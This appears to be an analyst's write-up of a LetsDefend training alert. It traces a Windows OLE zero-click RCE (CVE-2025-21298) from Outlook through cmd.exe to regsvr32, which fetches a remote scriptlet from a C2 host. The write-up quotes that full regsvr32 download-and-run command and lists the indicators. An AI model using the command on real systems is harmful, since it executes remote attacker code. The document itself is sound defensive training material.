Skip to content

SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)

May 16, 2026 Critical LetsDefend SOC - Endpoint & Proxy Logs (172.16.17.137)

True Positive #cve-2025-21298#windows-ole#zero-click#rce#regsvr32#phishing#c2

Detection and investigation of a confirmed Windows OLE zero-click RCE exploitation via a malicious RTF email. OUTLOOK.EXE spawned cmd.exe which executed regsvr32.exe to retrieve a remote payload from a C2 server. The proxy permitted the outbound request. Host was isolated and escalated to L2.

Case and process

Case ID
SOC336
Analyst
Alain Tran (L1)
Reviewer
TBD (L2)
Escalated to
Yes — escalated to L2 for forensic investigation after host isolation.

Severity rationale

Critical: confirmed zero-click RCE exploitation of CVE-2025-21298 (CVSS 9.8). A malicious RTF email triggered OUTLOOK.EXE to spawn cmd.exe, which executed regsvr32.exe to silently retrieve and run a remote scriptlet (shell.sct) from C2 server 84.38.130.118. The proxy permitted the outbound GET request. Payload was successfully retrieved. No AV/EDR quarantine occurred. Full execution chain confirmed via process tree and proxy logs.

Overview

On February 4, 2025, at 08:06 AM, a SOC alert was triggered for a suspected exploitation of CVE-2025-21298, a critical zero-click Remote Code Execution vulnerability in the Windows OLE component (CVSS 9.8).

The vulnerability allows an attacker to achieve code execution simply by sending a malicious RTF email — the victim does not need to open an attachment. Outlook’s automatic preview is enough to trigger the exploit.

Investigation Steps

1. Initial triage

The alert identified OUTLOOK.EXE as the parent process of a suspicious execution chain on host 172.16.17.137. The binary path was confirmed legitimate:

C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE

2. Process tree analysis

OUTLOOK.EXE spawned cmd.exe with the following command:

cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll

This is a known Squiblydoo / Living-off-the-Land technique (MITRE T1218.010). regsvr32.exe is a legitimate Windows binary abused here to download and execute a remote COM scriptlet (.sct) without writing to disk initially, bypassing many AV solutions.

3. Network log analysis

Proxy logs confirmed the outbound connection:

FieldValue
Source172.16.17.137:35424
Destination84.38.130.118:80
MethodGET
URLhttp://84.38.130.118.com/shell.sct
Proxy actionPermitted
Processcmd.exe (PID 6784)
TimestampFeb 04, 2025, 08:06 AM

The proxy did not block the request. The payload shell.sct was successfully retrieved from the C2 server.

4. Quarantine check

Neither the antivirus nor the EDR automatically quarantined the malware. The payload executed without being intercepted.

Malware quarantined: No

5. Verdict

True Positive — Exploitation confirmed. The full execution chain from email delivery to C2 payload retrieval was validated via process tree and proxy logs.


MITRE ATT&CK Mapping

Technique IDName
T1566.001Phishing — Spearphishing Attachment
T1218.010System Binary Proxy Execution — Regsvr32
T1071.001Application Layer Protocol — Web Protocols (C2 over HTTP)

Indicators of Compromise (IoCs)

TypeValue
C2 IP84.38.130.118
Payload URLhttp://84.38.130.118.com/shell.sct
Payload fileshell.sct
Abused binaryregsvr32.exe
Affected host172.16.17.137
Affected processOUTLOOK.EXE → cmd.exe (PID 6784)

Remediation


Key Takeaways

  • Zero-click means zero user interaction needed. Just receiving the email in Outlook is enough — no attachment click, no link click.
  • regsvr32.exe is a LOLBin. It’s a signed Windows binary that can execute remote scripts, making it a common AV bypass technique.
  • Always follow the process tree. The alert fired on OUTLOOK.EXE but the real story was its child process cmd.exe and what it executed.
  • Proxy logs are critical. Without the proxy log confirming Permitted, we couldn’t have confirmed the payload was actually retrieved.